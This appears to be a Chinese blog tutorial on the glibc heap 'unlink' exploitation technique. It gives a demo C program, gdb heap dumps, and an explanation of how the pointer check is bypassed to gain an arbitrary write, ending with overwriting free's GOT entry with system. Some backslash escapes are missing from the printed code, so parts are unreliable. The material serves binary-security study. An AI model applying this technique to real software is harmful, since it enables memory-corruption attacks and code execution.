unlink attack_二进制安全之堆溢出(系列)—— unlink

3d75cf73-6917-eb11-8da9-e4434bdf6706.png

本文是二进制安全之堆溢出系列的第五章节,主要介绍unlink。

源程序

#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
#include <string.h>
long long list[30]={0};
int main()
{
    char *p = malloc(0x80);
    char *q = malloc(0x80);
    char *r = malloc(0x80);
    sleep(0);
    printf("%pn",list);
    list[0] = p;
    sleep(0);
    printf("%pn",&p);
    *(long *) p = 0;
    *(long *) (p+8) = 0x81;
    *(long *) (p+16) = list - 0x3;
    *(long *) (p+24) = list - 0x2;
    *(long *) (q-16) = 0x80;
    *(long *) (q-8) = 0x90;
    sleep(0);
    free(q);
    sleep(0);
    strcpy(list[0],"111111111111111111111111x38x10x60"); 
  //由于list指向了list-0x18的位置,所以需要0x18个1来填充
    sleep(0);
    strcpy(list[0],"dddddddd");
  //相当于*list[0] = "dddddddd"
    malloc(0);
    sleep(0);
    return 0;
}

调试

  • 初始堆的情况
0x602000 PREV_INUSE {       ----> p
prev_size = 0, 
size = 145, 
fd = 0x0, 
bk = 0x0, 
fd_nextsize = 0x0, 
bk_nextsize = 0x0
}
0x602090 PREV_INUSE {  ---> q
prev_size = 0, 
size = 145, 
fd = 0x0, 
bk = 0x0, 
fd_nextsize = 0x0, 
bk_nextsize = 0x0
}
0x602120 PREV_INUSE {  --->r
prev_size = 0, 
size = 145, 
fd = 0x0, 
bk = 0x0, 
fd_nextsize = 0x0, 
bk_nextsize = 0x0
}
0x6021b0 PREV_INUSE {  --->top chunk
prev_size = 0, 
size = 134737, 
fd = 0x0, 
bk = 0x0, 
fd_nextsize = 0x0, 
bk_nextsize = 0x0
}
​

list[0] = p之后list的内存布局

0×601080 <list>:	0×0000000000602010	0×0000000000000000

打印p的地址

0x7fffffffdc20

p堆块改头换面

0x602000:   0x0000000000000000  0x0000000000000091
0x602010:   0x0000000000000000  0x0000000000000081      --->从这里开始改造
0x602020:   0x0000000000601068  0x0000000000601070      --->list - 0x18 list - 0x10
0x602030:   0x0000000000000000  0x0000000000000000

q堆块改头换面

原始的q堆块

0x602090:   0x0000000000000080  0x0000000000000091  --->Pre_inuse为1,表示p堆块正在使用中
0x6020a0:   0x0000000000000000  0x0000000000000000
改造后q堆块

0x602090:   0x0000000000000080  0x0000000000000090  -->更改p堆块的size以及inuse状态,便于合并及unlink
0x6020a0:   0x0000000000000000  0x0000000000000000

此时达到的效果,当free q的时候,就会前向合并,触发unlink

free q之后

0x602000 PREV_INUSE {
prev_size = 0, 
size = 145, 
fd = 0x0, 
bk = 0x111, 
fd_nextsize = 0x7ffff7dd1b78 <main_arena+88>, 
bk_nextsize = 0x7ffff7dd1b78 <main_arena+88>
}
0x602090 {
prev_size = 128, 
size = 144, 
fd = 0x0,                       ===>指向0
bk = 0x0, 
fd_nextsize = 0x0, 
bk_nextsize = 0x0
}
0x602120 {
prev_size = 272,            ===>从这里可以看出p,q合并了
size = 144, 
fd = 0x0, 
bk = 0x0, 
fd_nextsize = 0x0, 
bk_nextsize = 0x0
}

list[0]第一次赋值

0x601080 <list>:    0x0000000000601038  0x0000000000000000

此时0x601038的内容

0x601038:   0x00007ffff7a91130  0x00007ffff7ad9230
0x601048:   0x0000000000000000  0x0000000000000000
0x601058:   0x0000000000000000  0x0000000000000000
0x601068:   0x3131313131313131  0x3131313131313131
0x601078:   0x3131313131313131  0x0000000000601038
0x601088 <list+8>:  0x0000000000000000  0x0000000000000000

list[0]第二次赋值

0x601080 <list>:	0x0000000000601038	0x0000000000000000

此时0x601038的内容

0x601038:   0x6464646464646464  0x00007ffff7ad9200      ==>我们写入的dddddddd到了这里
0x601048:   0x0000000000000000  0x0000000000000000
0x601058:   0x0000000000000000  0x0000000000000000
0x601068:   0x3131313131313131  0x3232323232323232
0x601078:   0x3333333333333333  0x0000000000601038
0x601088 <list+8>:  0x0000000000000000  0x0000000000000000

原理

绕过检查的方式

p ->fd = list[0] - 0x18

p ->bk = list[0] - 0x10

list[0] = p

为什么这样就饶过检查了呢

检查的原理:

p->fd->bk = p && p->bk->fd = p

简单的加法:

p->fd->bk = p->fd+0x18 = list[0] = p

p->bk->fd = p->bk+0x18 = list[0] = p

unlink的操作实现了什么效果

断链的操作:p->fd->bk = p->bk && p->bk->fd = p->fd

方程组解析:

因为:

p->fd->bk = *(list[0] - 0x18 + 0x18) # 理解这一点至关重要,可以把p->fd理解为一个指针

p->fd->bk = p->bk

p->bk = list[0] - 0x10

所以:*(list[0]) = list[0] - 0x10

同理:*(list[0]) = list[0] - 0x18

效果:

list[0]指向了低三个指针长度的内存空间

现在编辑list[0],就相当于更改低三个指针长度的内存空间(L)的内容

假设现在list[0] = free_got,*L = system,当再次free一个堆块的时候,就会调用system。

4175cf73-6917-eb11-8da9-e4434bdf6706.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值